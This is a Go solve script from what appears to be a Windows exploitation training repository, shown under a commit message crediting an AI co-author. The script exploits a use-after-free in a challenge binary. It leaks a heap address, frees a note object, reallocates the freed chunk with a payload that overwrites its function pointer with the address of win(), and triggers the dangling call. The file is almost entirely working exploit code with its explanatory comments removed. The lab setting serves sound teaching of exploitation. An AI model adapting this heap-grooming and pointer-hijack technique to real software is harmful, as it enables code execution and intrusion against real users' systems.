larryandClaude Sonnet 4.6
c9aafc512b
Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
92 lines
2.3 KiB
Go
92 lines
2.3 KiB
Go
package main
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import (
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"bytes"
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"fmt"
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"log"
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"strconv"
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"winpwn"
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)
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func parseAddr(line []byte) (uint64, error) {
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idx := bytes.Index(line, []byte("addr=0x"))
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if idx == -1 {
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return 0, fmt.Errorf("no addr= in %q", line)
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}
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return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
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}
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func main() {
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pf, err := winpwn.OpenPE("heap_typemix.exe")
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if err != nil {
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log.Fatalf("OpenPE: %v", err)
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}
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winRVA, err := pf.GetProcAddress("win")
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if err != nil {
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log.Fatalf("win() not found in export table: %v", err)
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}
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base, err := pf.ImageBase()
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if err != nil {
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log.Fatalf("ImageBase: %v", err)
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}
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winAddr := base + winRVA
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pf.Close()
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fmt.Printf("[+] win() @ 0x%X\n", winAddr)
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tube, err := winpwn.Spawn("heap_typemix.exe")
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if err != nil {
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log.Fatalf("Spawn: %v", err)
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}
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if _, err := tube.RecvLine(); err != nil {
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log.Fatalf("RecvLine: %v", err)
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}
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if err := tube.SendLine([]byte("N victim")); err != nil {
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log.Fatalf("SendLine N: %v", err)
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}
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resp, err := tube.RecvLine()
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if err != nil {
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log.Fatalf("RecvLine N resp: %v", err)
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}
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victimAddr, err := parseAddr(resp)
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if err != nil {
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log.Fatalf("parse victim addr: %v", err)
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}
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fmt.Printf("[+] victim Note @ 0x%X\n", victimAddr)
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if err := tube.SendLine([]byte("D 0")); err != nil {
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log.Fatalf("SendLine D: %v", err)
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}
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if _, err := tube.RecvLine(); err != nil {
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log.Fatalf("RecvLine D resp: %v", err)
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}
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fmt.Printf("[+] freed Note (dangling pointer at id=0)\n")
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payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
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payloadHex := winpwn.Enhex(payload)
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if err := tube.SendLine([]byte("T " + payloadHex)); err != nil {
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log.Fatalf("SendLine T: %v", err)
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}
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resp, err = tube.RecvLine()
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if err != nil {
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log.Fatalf("RecvLine T resp: %v", err)
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}
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tokenAddr, err := parseAddr(resp)
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if err != nil {
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log.Fatalf("parse token addr: %v", err)
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}
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fmt.Printf("[+] Token @ 0x%X (want 0x%X)\n", tokenAddr, victimAddr)
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if tokenAddr != victimAddr {
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fmt.Printf("[-] WARN: addresses don't match -- chunk reuse didn't happen\n")
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fmt.Printf(" (check: did LFH activate? too many prior allocations?)\n")
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}
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fmt.Printf("[+] dispatching P 0 (UAF call through dangling pointer)...\n")
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if err := tube.SendLine([]byte("P 0")); err != nil {
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log.Fatalf("SendLine P: %v", err)
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}
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tube.Interactive()
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}
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